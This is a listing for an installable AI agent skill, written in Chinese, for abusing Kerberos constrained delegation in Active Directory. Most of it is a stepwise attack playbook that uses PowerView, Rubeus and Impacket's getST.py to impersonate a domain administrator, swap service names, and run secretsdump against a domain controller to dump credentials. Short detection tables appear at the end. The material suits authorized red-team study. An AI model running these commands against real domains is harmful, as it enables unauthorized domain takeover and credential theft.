# Exploiting Constrained Delegation Abuse

> 利用活动目录中的 Kerberos 约束委派（Constrained Delegation）错误配置，通过 S4U2self 和 S4U2proxy 扩展模拟特权用户，实现横向移动和权限提升。

- Skill: `killvxk/exploiting-constrained-delegation-abuse` (Agent Skill, multi-file: 6 files)
- Install (CLI): `npx skillmds@latest add killvxk/exploiting-constrained-delegation-abuse`
- Raw SKILL.md: https://api.skillmd.com/api/skills/killvxk/exploiting-constrained-delegation-abuse/raw
- Safety review: pending
- Works with: Claude Code, Claude.ai, OpenAI Codex
- Category: Coding & Dev Tools
- License: Apache-2.0
- Author: killvxk (https://skillmd.com/u/killvxk)
- Updated: 2026-09-17
- Page: https://skillmd.com/skills/killvxk/exploiting-constrained-delegation-abuse

---

# 利用约束委派滥用漏洞

## 概述

Kerberos 约束委派（KCD）是一种 Windows 活动目录功能，允许服务模拟用户并代表其访问特定服务。委派目标在 `msDS-AllowedToDelegateTo` 属性中定义。当攻击者控制了配置了约束委派（特别是带有 `TRUSTED_TO_AUTH_FOR_DELEGATION` 标志）的账户时，他们可以使用 S4U2self 和 S4U2proxy Kerberos 协议扩展来以任何用户（包括域管理员）身份请求到委派服务的服务票据。如果委派目标包括域控制器上的 CIFS、HTTP 或 LDAP 等服务，则会导致完整的域入侵。S4U2self 扩展代表任何用户向被控服务请求可转发的票据，S4U2proxy 将该票据转发到允许的委派目标。

## 目标

- 枚举域中配置了约束委派的账户
- 识别高价值服务的委派目标（msDS-AllowedToDelegateTo）
- 利用 S4U2self 和 S4U2proxy 模拟域管理员
- 以特权用户身份获取委派服务的服务票据
- 访问目标主机上的委派服务（CIFS、LDAP、HTTP）
- 通过约束委派滥用提升至域管理员

## MITRE ATT&CK 映射

- **T1558.003** - 窃取或伪造 Kerberos 票据：Kerberoasting
- **T1550.003** - 使用替代认证材料：票据传递
- **T1134.001** - 访问令牌操控：令牌模拟/盗窃
- **T1078.002** - 有效账户：域账户
- **T1021** - 远程服务

## 实施步骤

### 阶段一：枚举约束委派
1. 使用 PowerView 查找具有约束委派的账户：
   ```powershell
   # 查找具有约束委派的用户
   Get-DomainUser -TrustedToAuth | Select-Object samaccountname, msds-allowedtodelegateto

   # 查找具有约束委派的计算机
   Get-DomainComputer -TrustedToAuth | Select-Object samaccountname, msds-allowedtodelegateto

   # 使用 AD 模块
   Get-ADObject -Filter {msDS-AllowedToDelegateTo -ne "$null"} -Properties msDS-AllowedToDelegateTo, userAccountControl
   ```
2. 使用 Impacket findDelegation.py：
   ```bash
   findDelegation.py domain.local/user:'Password123' -dc-ip 10.10.10.1
   ```
3. 使用 BloodHound CE：
   ```cypher
   MATCH (c) WHERE c.allowedtodelegate IS NOT NULL
   RETURN c.name, c.allowedtodelegate
   ```
4. 检查 TRUSTED_TO_AUTH_FOR_DELEGATION 标志（协议转换）：
   ```powershell
   # UserAccountControl 标志 0x1000000 = TRUSTED_TO_AUTH_FOR_DELEGATION
   Get-DomainUser -TrustedToAuth | Select-Object samaccountname, useraccountcontrol
   ```

### 阶段二：使用 Rubeus 利用（Windows）
1. 如果您拥有约束委派账户的密码或哈希：
   ```powershell
   # 为约束委派账户请求 TGT
   Rubeus.exe asktgt /user:svc_sql /domain:domain.local /rc4:<ntlm_hash>

   # 执行 S4U2self + S4U2proxy 以模拟 administrator
   Rubeus.exe s4u /ticket:<base64_tgt> /impersonateuser:administrator \
     /msdsspn:CIFS/DC01.domain.local /ptt

   # 替代方案：指定替代服务名称
   Rubeus.exe s4u /ticket:<base64_tgt> /impersonateuser:administrator \
     /msdsspn:CIFS/DC01.domain.local /altservice:LDAP /ptt
   ```
2. 在单个命令中组合 TGT 请求和 S4U：
   ```powershell
   Rubeus.exe s4u /user:svc_sql /rc4:<ntlm_hash> /impersonateuser:administrator \
     /msdsspn:CIFS/DC01.domain.local /domain:domain.local /ptt
   ```

### 阶段三：使用 Impacket 利用（Linux）
1. 通过 S4U 协议扩展请求服务票据：
   ```bash
   # 使用 getST.py 和 S4U
   getST.py -spn CIFS/DC01.domain.local -impersonate administrator \
     -dc-ip 10.10.10.1 domain.local/svc_sql:'ServicePass123'

   # 使用哈希代替密码
   getST.py -spn CIFS/DC01.domain.local -impersonate administrator \
     -hashes :a1b2c3d4e5f6a1b2c3d4e5f6a1b2c3d4 \
     -dc-ip 10.10.10.1 domain.local/svc_sql

   # 使用获得的票据
   export KRB5CCNAME=administrator.ccache
   smbclient.py -k -no-pass domain.local/administrator@DC01.domain.local
   ```

### 阶段四：替代服务名称滥用
1. Kerberos 服务票据不针对票据中的 SPN 进行验证，允许 SPN 替换：
   ```bash
   # 请求 CIFS 票据，然后用于 LDAP（DCSync）
   getST.py -spn CIFS/DC01.domain.local -impersonate administrator \
     -altservice LDAP/DC01.domain.local \
     -dc-ip 10.10.10.1 domain.local/svc_sql:'ServicePass123'

   export KRB5CCNAME=administrator.ccache
   secretsdump.py -k -no-pass domain.local/administrator@DC01.domain.local
   ```
2. 该技术之所以有效，是因为票据中的服务名称不与会话密钥进行密码学绑定

### 阶段五：协议转换攻击
1. 如果账户具有 TRUSTED_TO_AUTH_FOR_DELEGATION：
   ```bash
   # S4U2self 无需用户认证即可获取可转发的票据
   # 这意味着我们可以在不知道用户密码的情况下模拟任何用户
   getST.py -spn CIFS/DC01.domain.local -impersonate administrator \
     -dc-ip 10.10.10.1 domain.local/svc_sql:'ServicePass123'
   ```
2. 没有 TRUSTED_TO_AUTH_FOR_DELEGATION 时，S4U2self 票据不可转发，S4U2proxy 将失败（除非使用基于资源的约束委派）

## 工具与资源

| 工具 | 用途 | 平台 |
|------|---------|----------|
| Rubeus | S4U Kerberos 票据操控 | Windows（.NET） |
| getST.py | S4U 服务票据请求（Impacket） | Linux（Python） |
| findDelegation.py | 委派枚举（Impacket） | Linux（Python） |
| PowerView | AD 委派枚举 | Windows（PowerShell） |
| BloodHound CE | 可视化委派路径分析 | Docker |
| Kekeo | 高级 Kerberos 工具包 | Windows |

## 委派类型对比

| 类型 | 属性 | 范围 | 攻击复杂性 |
|------|-----------|-------|-------------------|
| 非约束委派 | TRUSTED_FOR_DELEGATION | 任意服务 | 低（捕获 TGT） |
| 约束委派 | msDS-AllowedToDelegateTo | 特定 SPN | 中（S4U 滥用） |
| 约束委派 + 协议转换 | + TRUSTED_TO_AUTH_FOR_DELEGATION | 特定 SPN | 中（不需要用户认证） |
| 基于资源的约束委派（RBCD） | msDS-AllowedToActOnBehalfOfOtherIdentity | 在目标上 | 中（可写属性） |

## 检测特征

| 指标 | 检测方法 |
|-----------|-----------------|
| S4U2self 票据请求 | 带异常服务和模拟的事件 4769 |
| S4U2proxy 转发的票据 | 带委派标志的事件 4769 |
| 票据中的替代服务名称 | 请求的 SPN 与实际服务访问之间的不匹配 |
| Rubeus.exe 执行 | EDR 进程检测、命令行日志 |
| 委派配置更改 | msDS-AllowedToDelegateTo 修改的事件 5136 |

## 验证标准

- [ ] 已枚举具有约束委派的账户
- [ ] 已识别委派目标（msDS-AllowedToDelegateTo）
- [ ] 已获取目标用户的 S4U2self 票据
- [ ] 已将 S4U2proxy 票据转发到委派目标
- [ ] 已验证对委派服务的特权访问
- [ ] 已测试替代服务名称替换
- [ ] 已评估协议转换能力
- [ ] 已记录包含票据导出和访问证明的证据